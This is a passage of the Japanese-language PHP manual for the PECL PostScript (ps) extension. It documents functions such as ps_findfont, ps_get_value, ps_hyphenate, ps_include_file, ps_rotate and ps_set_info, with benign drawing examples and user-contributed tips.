encoding は null または空文字列とすることも可能で、 その場合はデフォルトエンコーディング（TeXBase1）が用いられます。

encoding が builtin と指定された場合は、 エンコード処理は行われずにフォント固有のエンコーディングがそのまま用いられます。 これは、記号フォントを扱う場合に便利です。

embed

0 より大きい値を設定すると、フォントがドキュメントに埋め込まれます。 これを使用するには、フォントのアウトライン (.pfb ファイル) が必要です。

返り値

成功した場合にフォントの ID を、失敗した場合にゼロを返します。 ID は正の数値です。

参考

  • ps_begin_page() - 新しいページを開始する
  • ps_setfont() - 以降の出力で用いるフォントを設定する

User Contributed Notes

yarych at bigmir dot net 25-Mar-2008 12:39
Ok, now I found the way to set the path I need for fonts - before calling ps_findfont() make a call like this:
<?php ps_set_parameter($psdoc, 'SearchPath', $fonts_dir); ?>

It works for pslib 0.4.1 version. (Looks like it didn't work in some earlier versions.)
yarych at bigmir dot net 29-Jan-2008 03:40
I've found out that pslib is searching for fonts in its data dir (/usr/share/pslib). There is no way to change the search path now.
pepe at dexef dot hu 13-Apr-2006 03:19
I found out that you must copy the <fontname>.afm files next to your php because it's searched there in default.
zeldorblat at gmail dot com 25-Jul-2005 07:47
I found that my Postscript files were taking an incredibly long time to generate and the file sizes were abnormally large.  The problem was that, everytime I chose to set a font I would call ps_findfont() followed by ps_setfont().

It seems that every time ps_findfont() is called, the font gets embedded in the file.  To prevent this, I keep an array of fonts I've already loaded, keyed by the font name.  When I go to set the font, I first check this array to see if I've already loaded the font, and, if so, return the resource handle from that array.  Otherwise, I call ps_findfont() and store the handle in the array.

Note that, if your call to ps_findfont() occurs while inside a page, the font will not be available on other pages.  To get around this I just clear out the array at the end of each page.

My PS file went from 10 M to 75 K, and the time to create the file went from around 15 seconds to less than 1 second.


生成された PS データを含むバッファの内容を取得する

  • ≪ ps_findfont
  • ps_get_parameter ≫
  • PHP Manual
  • PS 関数
  • 生成された PS データを含むバッファの内容を取得する

ps_get_buffer

(PECL ps >= 1.1.0)

ps_get_buffer — 生成された PS データを含むバッファの内容を取得する

説明

ps_get_buffer ( resource $psdoc ) : string

この関数は、まだ実装されていません。常に空の文字列を返します。 メモリ内でのデータ作成が求められる場合に、postscript ファイルを内部バッファに読み込み、バッファの内容をこの関数で取得する、 という実装を計画中です。 現在は、メモリ内で作成されたデータはバッファリングされず直接ブラウザに送られます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

参考

  • ps_open_file() - 出力用のファイルを開く

User Contributed Notes

There are no user contributed notes for this page.


パラメータを取得する

  • ≪ ps_get_buffer
  • ps_get_value ≫
  • PHP Manual
  • PS 関数
  • パラメータを取得する

ps_get_parameter

(PECL ps >= 1.1.0)

ps_get_parameter — パラメータを取得する

説明

ps_get_parameter ( resource $psdoc , string $name , float $modifier = ? ) : string|false

ps_set_parameter() で直接設定されたか、 あるいは他の関数で間接的に設定されたパラメータの値を取得します。 パラメータは文字列値として定義されます。この関数は、 同じく ps_set_parameter() で設定されたリソースを取得するためには利用できません。

パラメータ name は、以下の値をとります。

fontname

現在アクティブなフォント、 あるいはパラメータ modifier で指定された ID を持つフォントの名前。

fontencoding

現在アクティブなフォントのエンコーディング。

dottedversion

元になる pslib ライブラリのバージョン。書式は <major>.<minor>.<subminor>

scope

現在の描画スコープ。object, document, null, page, pattern, path, template, prolog, font, glyph。

ligaturedisolvechar

リゲチャを溶かす文字。たとえば、リゲチャ `ff' を含むフォントで `|' がこの文字に指定されていた場合は、 `f|f' はリゲチャ `ff' ではなく 2 つの独立した `f' となります。

imageencoding

画像の符号化に使用するエンコーディング。 hex あるいは 85。 hex エンコーディングは、画像の各バイトを postscript ファイルの 2 バイトであらわします。85 は Ascii85 エンコーディングを表します。

linenumbermode

行番号を段落単位でつける場合は paragraph、 ボックス内でつける場合は box を設定します。

linebreak

テキストを ps_show_boxed() で出力する場合にのみ使用します。 true を設定すると、 改行時にキャリッジリターンが付加されます。

parbreak

テキストを ps_show_boxed() で出力する場合にのみ使用します。 true を設定すると、 キャリッジリターンで新しい段落を開始します。

hyphenation

テキストを ps_show_boxed() で出力する場合にのみ使用します。 true を設定すると、 ハイフネーション辞書が設定されており存在する場合に、 段落のハイフネーション処理が行われます。

hyphendict

ハイフネーションパターンの辞書のファイル名。

返り値

成功した場合にパラメータの値を、失敗した場合に false を返します。

参考

  • ps_set_parameter() - パラメータを設定する

User Contributed Notes

There are no user contributed notes for this page.


値を取得する

  • ≪ ps_get_parameter
  • ps_hyphenate ≫
  • PHP Manual
  • PS 関数
  • 値を取得する

ps_get_value

(PECL ps >= 1.1.0)

ps_get_value — 値を取得する

説明

ps_get_value ( resource $psdoc , string $name , float $modifier = ? ) : float

ps_set_value() で設定された値を取得します。 値は浮動小数点数値として定義されます。

パラメータ name には以下の値を設定できます。

fontsize

現在アクティブなフォント、 あるいはパラメータ modifier で指定された ID を持つフォントの名前。

font

現在アクティブなフォント自身。

imagewidth

パラメータ modifier で渡された ID の画像の幅。

imageheight

パラメータ modifier で渡された ID の画像の高さ。

capheight

現在アクティブなフォント、 あるいはパラメータ modifier で指定された ID を持つフォントにおける、 大文字の M の高さ。

ascender

現在アクティブなフォント、 あるいはパラメータ modifier で指定された ID を持つフォントの ascender (上に突き出している部分の長さ)。

descender

現在アクティブなフォント、 あるいはパラメータ modifier で指定された ID を持つフォントの descender (下に突き出している部分の長さ)。

italicangle

現在アクティブなフォント、 あるいはパラメータ modifier で指定された ID を持つフォントの斜体の角度。

underlineposition

現在アクティブなフォント、 あるいはパラメータ modifier で指定された ID を持つフォントの下線の位置。

underlinethickness

現在アクティブなフォント、 あるいはパラメータ modifier で指定された ID を持つフォントの下線の太さ。

textx

現在のテキスト出力位置の x 座標。

texty

現在のテキスト出力位置の y 座標。

textrendering

現在のテキストのレンダリングモード。

textrise

ベースライン上部の空間。

leading

テキストの行間隔をポイント数で指定。

wordspacing

単語と単語の間の空白の幅を、空白文字の幅を基準として指定。

charspacing

文字と文字の間の空白。0.0 でない場合は、リゲチャは常に分解されます。

hyphenminchars

単語の末尾で、ハイフネーションの対象となる最小文字数。

parindent

各段落の最初の n 行を字下げします。

numindentlines

parindent が 0.0 でない場合に、段落内で字下げする行数。

parskip

段落と段落の間隔。

linenumberspace

行番号を表示するために、各行の先頭に置く空白。

linenumbersep

行番号と行の内容の間隔。

major

pslib のメジャーバージョン番号。

minor

pslib のマイナーバージョン番号。

subminor, revision

pslib の詳細バージョン番号。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

name

値の名前。

modifier

modifier は、値を取得しようとしている リソースを指定します。たとえばフォントや画像の ID が考えられます。

返り値

成功した場合にパラメータの値を、失敗した場合に false を返します。

参考

  • ps_set_value() - 値を設定する

User Contributed Notes

tilman dot schroeder at gmx dot de 31-Dec-2006 09:32
Note that the modifier parameter is REQUIRED in some (perhaps all) cases where you would not believe it to be required but optional:

<?php
$texty=ps_get_value($ps,'texty'); // does NOT work!

// but this works, however:

$foo=NULL;
$texty=ps_get_value($ps,'texty',$foo); // DOES work!

// this works too:
$texty=ps_get_value($ps,'texty',NULL);
?>

if your script just fails and sends a file with zero length to your browser just try the workaround above. saves time and you will not get upset ;)

would be nice if somebody would be able to tell why pslib behaves this way ...

PHP version 4.4.4-8, pslib verision 0.2.7-1 (Debian etch)

Bye and a happy new year!
Tilman


単語をハイフネーションする

  • ≪ ps_get_value
  • ps_include_file ≫
  • PHP Manual
  • PS 関数
  • 単語をハイフネーションする

ps_hyphenate

(PECL ps >= 1.1.1)

ps_hyphenate — 単語をハイフネーションする

説明

ps_hyphenate ( resource $psdoc , string $text ) : array|false

渡された単語をハイフネーションします。ps_hyphenate()
は、(ps_set_value() で設定した)
hyphenminchars の値と (ps_set_parameter() で設定した)
hyphendict パラメータの内容を評価します。
hyphendict は、この関数を呼ぶ前に必ず設定しておかなければなりません。

この関数を利用するためには、LC_CTYPE が適切に設定されている必要があります。 PostScript 拡張が初期化される際、環境変数の値が利用されます。 Unix 環境を利用している方は、詳細な情報は locale の man ページを見てください。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

text

text にはアルファベット以外の文字を 含むべきではありません。ハイフンで分割できる位置が、 整数値の配列として返されます。配列の個々の要素の内容は、 text 内でハイフンを入れられる場所の 次の文字の位置を表します。

返り値

テキスト内で改行を入れられる位置を表す整数値の配列、 失敗した場合に false を返します。

例

例1 テキストのハイフネーション

<?php
$word = "Koordinatensystem";
$psdoc = ps_new();
ps_set_parameter($psdoc, "hyphendict", "hyph_de.dic");
$hyphens = ps_hyphenate($psdoc, $word);
for($i=0; $i<strlen($word); $i++) {
  echo $word[$i];
  if(in_array($i, $hyphens))
    echo "-";
}
ps_delete($psdoc);
?>

上の例の出力は以下となります。

Ko-ordi-na-ten-sys-tem

参考

  • ps_show_boxed() - テキストをボックス内に出力する
  • locale(1)

User Contributed Notes

1manfactory at gmail dot com 19-Nov-2016 05:28
The above example does NOT work with German Umlauts (aou) properly.

I had to do the following to make it work.

setlocale (LC_CTYPE , "de_DE.iso88591"); # it does not work with "de_DE.utf8" and of course your system should run this locale setting

$hyphens = ps_hyphenate($psdoc, utf8_decode($word)); # only our couse if your source code is UTF8 coded

for($i=0; $i<mb_strlen($word); $i++) { # to be on the safe side

echo utf8_encode($word[$i]); # again only if your code is UTF8


外部ファイルを生の PostScript コードとして読み込む

  • ≪ ps_hyphenate
  • ps_lineto ≫
  • PHP Manual
  • PS 関数
  • 外部ファイルを生の PostScript コードとして読み込む

ps_include_file

(PECL ps >= 1.3.4)

ps_include_file — 外部ファイルを生の PostScript コードとして読み込む

説明

ps_include_file ( resource $psdoc , string $file ) : bool

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

psdoc

ps_new() が返す postscript ファイルの ID リソース。

file

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

php at catchall dot toao dot net 16-Jun-2009 12:46
I wanted to print to a specific tray of my printer, a Dell 3110cn.  Some printers allow you to specify in their config what tray will be used as a default tray, but my printer doesn't.  Googling told me that printing to a specific tray is not a function of PostScript but rather a function of my printer itself.  So, I had to find the function for my specific printer.  I located a PPD file for my printer.  Purely by luck (I searched through the file for the word 'tray') I found the following:

*InputSlot 2ndTray-H/Tray 2 (500 Sheets): "
  3 dict begin
  /MediaPosition 1 def
  /DeferredMediaSelection true def
  /TraySwitch false def
  currentdict end setpagedevice
" *End

I saved this as a file named Dell.ps, without the first and last lines, and with a blank line at the end.  Then I used the following command in my program:

<?php ps_include_file($ps, 'Dell.ps'); ?>

It worked!
lindsay at dingos dot net 14-Mar-2008 06:43
This method allows you to insert raw postscript at any point in the postscript document.
You can use this function to include 'Barcodes in pure PostScript' in the prolog of your postscript document, and then create a temporary file that contains the necessary postscript to actually call the barcode generating postscript function at whatever point in your document you want it to appear.

it would be nice if there was an alternate form of this function that allowed you to just insert the raw postscript other than make a temporary file to be opened by the function.


直線を描く

  • ≪ ps_include_file
  • ps_makespotcolor ≫
  • PHP Manual
  • PS 関数
  • 直線を描く

ps_lineto

(PECL ps >= 1.1.0)

ps_lineto — 直線を描く

説明

ps_lineto ( resource $psdoc , float $x , float $y ) : bool

現在の位置から指定された座標までの直線を現在のパスに追加します。 直線の開始位置を指定するには ps_moveto() を利用します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x

直線の終了地点の x 座標。

y

直線の終了地点の y 座標。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 矩形を描画する

<?php
$ps = ps_new();
if (!ps_open_file($ps, "rectangle.ps")) {
  print "PostScript ファイルをオープンできません\n";
  exit;
}

ps_set_info($ps, "Creator", "rectangle.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Lineto example");

ps_begin_page($ps, 596, 842);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_stroke($ps);
ps_end_page($ps);

ps_delete($ps);
?>

参考

  • ps_moveto() - 現在位置を設定する

User Contributed Notes

There are no user contributed notes for this page.


スポット色を作成する

  • ≪ ps_lineto
  • ps_moveto ≫
  • PHP Manual
  • PS 関数
  • スポット色を作成する

ps_makespotcolor

(PECL ps >= 1.1.0)

ps_makespotcolor — スポット色を作成する

説明

ps_makespotcolor ( resource $psdoc , string $name , int $reserved = 0 ) : int

現在の塗りつぶし色からスポット色を作成します。塗りつぶし色の色空間は rgb, cmyk または グレースケールのいずれかでなければなりません。 スポット色には任意の名前をつけることができます。 スポット色には、ps_setcolor() を用いてどんな色でも設定できます。 ドキュメントが印刷されずに postscript ビューアで表示される場合にも、 指定した色空間の色が使用されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

name

スポット色の名前、例えば Pantone 5565。

返り値

成功した場合にスポット色の ID を、失敗した場合にゼロを返します。

例

例1 スポット色の作成と使用

<?php
$ps = ps_new();
if (!ps_open_file($ps, "spotcolor.ps")) {
  print "PostScript ファイルをオープンできません\n";
  exit;
}

ps_set_info($ps, "Creator", "spotcolor.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Spot color example");

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "fill", "cmyk", 0.37, 0.0, 0.34, 0.34);
$spotcolor = ps_makespotcolor($ps, "PANTONE 5565 C", 0);
ps_setcolor($ps, "fill", "spot", $spotcolor, 0.5, 0.0, 0.0);
ps_moveto($ps, 100, 100);
ps_lineto($ps, 100, 200);
ps_lineto($ps, 200, 200);
ps_lineto($ps, 200, 100);
ps_lineto($ps, 100, 100);
ps_fill($ps);
ps_end_page($ps);

ps_delete($ps);
?>

この例では、深緑 (オリーブ) 色で 50 % の濃度で矩形を塗りつぶすスポット色 "PANTONE 5565 C" を作成します。

参考

  • ps_setcolor() - 色を設定する

User Contributed Notes

There are no user contributed notes for this page.


現在位置を設定する

  • ≪ ps_makespotcolor
  • ps_new ≫
  • PHP Manual
  • PS 関数
  • 現在位置を設定する

ps_moveto

(PECL ps >= 1.1.0)

ps_moveto — 現在位置を設定する

説明

ps_moveto ( resource $psdoc , float $x , float $y ) : bool

現在位置を新しい座標に指定します。前回のパスが終了してからはじめて ps_moveto() が呼ばれた場合、新しいパスを開始します。 もしすでにパスが開始されているときに呼ばれた場合は、 単に現在位置を設定し、サブパスを開始します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x

移動する位置の x 座標。

y

移動する位置の y 座標。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_lineto() - 直線を描く

User Contributed Notes

There are no user contributed notes for this page.


新しい PostScript ドキュメントオブジェクトを作成する

  • ≪ ps_moveto
  • ps_open_file ≫
  • PHP Manual
  • PS 関数
  • 新しい PostScript ドキュメントオブジェクトを作成する

ps_new

(PECL ps >= 1.1.0)

ps_new — 新しい PostScript ドキュメントオブジェクトを作成する

説明

ps_new ( ) : resource|false

新しいドキュメントのインスタンスを生成します。 ディスク上やメモリ内にファイルを作ることはありません。 ドキュメントのインスタンスがすべてを設定します。 ps_new() の後には、通常は ps_open_file() がコールされます。これにより、 実際に postscript ドキュメントが作成されます。

返り値

成功した場合に PostScript ドキュメントのリソースを、 失敗した場合に false を返します。 この返り値は、その他のすべての関数の最初の引数として渡されます。

参考

  • ps_delete() - PostScript ドキュメントの全リソースを削除する

User Contributed Notes

There are no user contributed notes for this page.


出力用のファイルを開く

  • ≪ ps_new
  • ps_open_image_file ≫
  • PHP Manual
  • PS 関数
  • 出力用のファイルを開く

ps_open_file

(PECL ps >= 1.1.0)

ps_open_file — 出力用のファイルを開く

説明

ps_open_file ( resource $psdoc , string $filename = ? ) : bool

ディスク上に新しいファイルを作成し、PostScript ドキュメントをその中に書き込みます。ps_close() が呼ばれると、ファイルは閉じられます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

filename

postscript ファイルの名前。 filename が渡されなかった場合、 ドキュメントはメモリ内に作成され、内容は直接ブラウザに出力されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_close() - PostScript ドキュメントを閉じる

User Contributed Notes

php at catchall dot toao dot net 05-Jul-2009 08:42
Today, I used this function and did not specify a path to the file name.  The file was created in C:\Program Files\Apache2.2 instead of the current working directory.  When using this function, be sure to specify the full path to the file that should be created.


ファイルから画像を開く

  • ≪ ps_open_file
  • ps_open_image ≫
  • PHP Manual
  • PS 関数
  • ファイルから画像を開く

ps_open_image_file

(PECL ps >= 1.1.0)

ps_open_image_file — ファイルから画像を開く

説明

ps_open_image_file ( resource $psdoc , string $type , string $filename , string $stringparam = ? , int $intparam = 0 ) : int

後で使用するために、画像を読み込みます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

type

画像の形式。png、 jpeg あるいは eps。

filename

画像データを含むファイルの名前。

stringparam

使用されません。

intparam

使用されません。

返り値

成功した場合に画像の ID を、失敗した場合にゼロを返します。 ID は、0 より大きい正の数値です。

参考

  • ps_open_image() - 後で配置するために画像を読み込む
  • ps_place_image() - 画像をページに配置する
  • ps_close_image() - 画像を閉じ、メモリを開放する

User Contributed Notes

There are no user contributed notes for this page.


後で配置するために画像を読み込む

  • ≪ ps_open_image_file
  • ps_open_memory_image ≫
  • PHP Manual
  • PS 関数
  • 後で配置するために画像を読み込む

ps_open_image

(PECL ps >= 1.1.0)

ps_open_image — 後で配置するために画像を読み込む

説明

ps_open_image ( resource $psdoc , string $type , string $source , string $data , int $lenght , int $width , int $height , int $components , int $bpc , string $params ) : int

すでにメモリ上にある画像を読み込みます。現在は source は評価されず、常に memory と仮定されます。 画像データは、左上から右下に向かってピクセルデータを順に並べたものです。 各ピクセルは、色コンポーネント components で構成されており、このコンポーネントの大きさは bpc ビットです。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

type

画像の形式。png、 jpeg あるいは eps。

source

使用されません。

data

画像データ。

length

画像データの長さ。

width

画像の幅。

height

画像の高さ。

components

各ピクセルのコンポーネントの数。 1 (グレースケール画像)、 3 (rgb 画像) あるいは 4 (cmyk, rgba 画像)。

bpc

コンポーネント単位のビット数 (ほとんどの場合は 8)

params

返り値

成功した場合に画像の ID を、失敗した場合にゼロを返します。 ID は、0 より大きい正の数値です。

参考

  • ps_open_image_file() - ファイルから画像を開く
  • ps_place_image() - 画像をページに配置する
  • ps_close_image() - 画像を閉じ、メモリを開放する

User Contributed Notes

There are no user contributed notes for this page.


GD 画像を受け取り、PS ドキュメントにはめ込む画像を返す

  • ≪ ps_open_image
  • ps_place_image ≫
  • PHP Manual
  • PS 関数
  • GD 画像を受け取り、PS ドキュメントにはめ込む画像を返す

ps_open_memory_image

(PECL ps >= 1.1.0)

ps_open_memory_image — GD 画像を受け取り、PS ドキュメントにはめ込む画像を返す

説明

ps_open_memory_image ( resource $psdoc , int $gd ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

psdoc

ps_new() が返す postscript ファイルの ID リソース。

gd

User Contributed Notes

There are no user contributed notes for this page.


画像をページに配置する

  • ≪ ps_open_memory_image
  • ps_rect ≫
  • PHP Manual
  • PS 関数
  • 画像をページに配置する

ps_place_image

(PECL ps >= 1.1.0)

ps_place_image — 画像をページに配置する

説明

ps_place_image ( resource $psdoc , int $imageid , float $x , float $y , float $scale ) : bool

以前に読み込まれている画像をページに配置します。画像の縮尺は変更できます。 画像を回転させる場合は、事前に ps_rotate() で座標系を回転させておきます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

imageid

ps_open_image() あるいは ps_open_image_file() が返す、 画像のリソース ID。

x

画像の左下角の x 座標。

y

画像の左下角の y 座標。

scale

画像の拡大率。1.0 を指定すると、解像度は 72 dpi となります。 これにより、各ピクセルが 1 ポイントと等しくなるからです。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_open_image() - 後で配置するために画像を読み込む
  • ps_open_image_file() - ファイルから画像を開く

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 02:05
If you want to make a template with graphics software and place it on your PostScript page, one way to do it is with an eps file.

<?php
$template = ps_open_image_file($ps, 'eps', 'template.eps');
ps_place_image($ps, $template, 0, 0, 1);
?>

Professional page layout software such as InDesign will typically be able to generate an eps file.  If your software can't, one way to do it (on Windows) is to set up a printer that prints to file with the driver "Lexmark Color 4079 plus PS".  This driver is included with Windows and has the option in its advanced preferences to generate an EPS file.
mike at lasaero dot com 12-May-2007 06:11
To get png images to work I had to save them as indexed colour (128 colours).


矩形を描く

  • ≪ ps_place_image
  • ps_restore ≫
  • PHP Manual
  • PS 関数
  • 矩形を描く

ps_rect

(PECL ps >= 1.1.0)

ps_rect — 矩形を描く

説明

ps_rect ( resource $psdoc , float $x , float $y , float $width , float $height ) : bool

（x, y）を左下の角とする 矩形を描きます。描画は左下の角から始まって同じ位置で終わります。 もしパスの外部でこの関数が呼び出された場合、新しいパスを開始します。 パスの内部で呼び出された場合は、矩形をサブパスとして追加します。一つ前の描画処理が 左下角の位置で終わっていなかった場合は、パスに隙間ができることになります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x

矩形の左下角の x 座標。

y

矩形の左下角の y 座標。

width

画像の幅。

height

画像の高さ。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_arc() - 反時計回りに円弧を描く
  • ps_cirle()
  • ps_lineto() - 直線を描く

User Contributed Notes

php at catchall dot toao dot net 14-Jun-2009 08:23
Example: draw a purple box 144 points wide by 72 points high on a page in position 0, 0:

<?php
ps_setcolor($ps, "fill", "cmyk", .5, .5, 0, 0);
ps_rect($ps, 0, 0, 144, 72);
ps_fill($ps);
?>


以前に保存されたコンテキストを復元する

  • ≪ ps_rect
  • ps_rotate ≫
  • PHP Manual
  • PS 関数
  • 以前に保存されたコンテキストを復元する

ps_restore

(PECL ps >= 1.1.0)

ps_restore — 以前に保存されたコンテキストを復元する

説明

ps_restore ( resource $psdoc ) : bool

以前に保存されている描画コンテキストを復元します。 すべての ps_save() 呼び出しには、対応する ps_restore() の呼び出しが必要です。 座標系変換、線の設定、色の設定などは、すべて ps_save() のコール前の状態に戻ります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_save() - 現在のコンテキストを保存する

User Contributed Notes

There are no user contributed notes for this page.


回転の程度を設定する

  • ≪ ps_restore
  • ps_save ≫
  • PHP Manual
  • PS 関数
  • 回転の程度を設定する

ps_rotate

(PECL ps >= 1.1.0)

ps_rotate — 回転の程度を設定する

説明

ps_rotate ( resource $psdoc , float $rot ) : bool

座標系の回転を設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

rot

回転角度を度単位で指定します。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 座標系の回転

<?php
function rectangle($ps) {
    ps_moveto($ps, 0, 0);
    ps_lineto($ps, 0, 50);
    ps_lineto($ps, 50, 50);
    ps_lineto($ps, 50, 0);
    ps_lineto($ps, 0, 0);
    ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "rotation.ps")) {
  print "PostScript ファイルをオープンできません\n";
  exit;
}

ps_set_info($ps, "Creator", "rotation.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Rotation example");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 100, 100);
ps_rotate($ps, 45);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text without rotation");
ps_end_page($ps);

ps_delete($ps);
?>

上の例では、座標系を回転させることによって、図形 (ここでは単なる矩形) を回転させるという一般的な方法を説明しています。 図形の座標系は (0,0) を起点とみなしているため、 図形がページの端にない場合には座標系の変換も行います。 ps_translate() および ps_rotate() の順番には気をつけてください。 上の例では、変換前の座標系での (100, 100) を基準として矩形を回転させています。 2 つの文の順序を入れ替えると、まったく異なる結果となります。

これ以降のテキストをもとの位置に出力させるには、 ps_save() および ps_restore() を使用して、座標系に関する変更内容をカプセル化します。

参考

  • ps_scale() - 縮尺を設定する
  • ps_translate() - 座標変換を設定する

User Contributed Notes

There are no user contributed notes for this page.


現在のコンテキストを保存する

  • ≪ ps_rotate
  • ps_scale ≫
  • PHP Manual
  • PS 関数
  • 現在のコンテキストを保存する

ps_save

(PECL ps >= 1.1.0)

ps_save — 現在のコンテキストを保存する

説明

ps_save ( resource $psdoc ) : bool

現在の描画コンテキストを保存します。 そこには色や変換・回転その他の情報が含まれています。保存されたコンテキストは ps_restore() で復元できます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_restore() - 以前に保存されたコンテキストを復元する

User Contributed Notes

There are no user contributed notes for this page.


縮尺を設定する

  • ≪ ps_save
  • ps_set_border_color ≫
  • PHP Manual
  • PS 関数
  • 縮尺を設定する

ps_scale

(PECL ps >= 1.1.0)

ps_scale — 縮尺を設定する

説明

ps_scale ( resource $psdoc , float $x , float $y ) : bool

座標系の、水平方向・垂直方向の縮尺をそれぞれ設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x

水平方向の倍率。

y

垂直方向の倍率。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_rotate() - 回転の程度を設定する
  • ps_translate() - 座標変換を設定する

User Contributed Notes

There are no user contributed notes for this page.


注記の枠線の色を設定する

  • ≪ ps_scale
  • ps_set_border_dash ≫
  • PHP Manual
  • PS 関数
  • 注記の枠線の色を設定する

ps_set_border_color

(PECL ps >= 1.1.0)

ps_set_border_color — 注記の枠線の色を設定する

説明

ps_set_border_color ( resource $psdoc , float $red , float $green , float $blue ) : bool

ps_add_weblink() や ps_add_pdflink() などの関数で追加されたリンクは、 pdf に変換して pdf ビューアで見た際には矩形で囲まれて表示されます。 この矩形は、postscript ドキュメントでは表示されません。 この関数は、矩形の枠線の色を設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

red

枠線の色の red 要素。

green

枠線の色の green 要素。

blue

枠線の色の blue 要素。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_set_border_dash() - 注記の枠線の、破線の状態を設定する
  • ps_set_border_style() - 注記の枠線の形式を設定する

User Contributed Notes

There are no user contributed notes for this page.


注記の枠線の、破線の状態を設定する

  • ≪ ps_set_border_color
  • ps_set_border_style ≫
  • PHP Manual
  • PS 関数
  • 注記の枠線の、破線の状態を設定する

ps_set_border_dash

(PECL ps >= 1.1.0)

ps_set_border_dash — 注記の枠線の、破線の状態を設定する

説明

ps_set_border_dash ( resource $psdoc , float $black , float $white ) : bool

ps_add_weblink() や ps_add_pdflink() などの関数で追加されたリンクは、 pdf に変換して pdf ビューアで見た際には矩形で囲まれて表示されます。 この矩形は、postscript ドキュメントでは表示されません。 この関数は、破線の「線」の部分と「空白」の部分の長さを設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

black

破線の長さ。

white

破線と破線の間隔。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_set_border_color() - 注記の枠線の色を設定する
  • ps_set_border_style() - 注記の枠線の形式を設定する

User Contributed Notes

There are no user contributed notes for this page.


注記の枠線の形式を設定する

  • ≪ ps_set_border_dash
  • ps_set_info ≫
  • PHP Manual
  • PS 関数
  • 注記の枠線の形式を設定する

ps_set_border_style

(PECL ps >= 1.1.0)

ps_set_border_style — 注記の枠線の形式を設定する

説明

ps_set_border_style ( resource $psdoc , string $style , float $width ) : bool

ps_add_weblink() や ps_add_pdflink() などの関数で追加されたリンクは、 pdf に変換して pdf ビューアで見た際には矩形で囲まれて表示されます。 この矩形は、postscript ドキュメントでは表示されません。 この関数は、その線の形式と幅を設定します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

style

style は、 solid（実線） または dashed（破線）のいずれかを設定できます。

width

枠線の幅。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_set_border_color() - 注記の枠線の色を設定する
  • ps_set_border_dash() - 注記の枠線の、破線の状態を設定する

User Contributed Notes

There are no user contributed notes for this page.


ドキュメントの情報を設定する

  • ≪ ps_set_border_style
  • ps_set_parameter ≫
  • PHP Manual
  • PS 関数
  • ドキュメントの情報を設定する

ps_set_info

(PECL ps >= 1.1.0)

ps_set_info — ドキュメントの情報を設定する

説明

ps_set_info ( resource $p , string $key , string $val ) : bool

ドキュメントの情報フィールドを設定します。この情報は、PostScript ファイルのヘッダにコメントとして表示されます。 ドキュメントが pdf に変換された場合にも、 このフィールドはドキュメントの情報として使用されます。

通常 BoundingBox は最初のページの設定と同じ値を 設定しておきます。 ps_findfont() が事前に呼ばれていなかった場合のみ、この設定が利用されます。そのような場合、 もしこの関数で明示的に設定していなければ BoundingBox は空白のままとなります。

postscript ファイルのヘッダが既に書き込まれている場合には、 この関数は何の意味も持ちません。この関数は、最初のページの前、 あるいは ps_findfont() が最初にコールされる前にコールされる必要があります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

key

設定する情報フィールドの名前。設定できる値は Keywords、Subject、 Title、Creator、 Author、BoundingBox および Orientation です。 このうちのいくつかは、PostScript ビューアに対して意味を持つものであることに注意しましょう。

value

情報フィールドの値。 Orientation フィールドには Portrait あるいは Landscape が設定できます。BoundingBox は 4 つの数値からなる文字列で、最初の 2 つがページの左下角の座標を表します。 残りの 2 つが右上角の座標です。

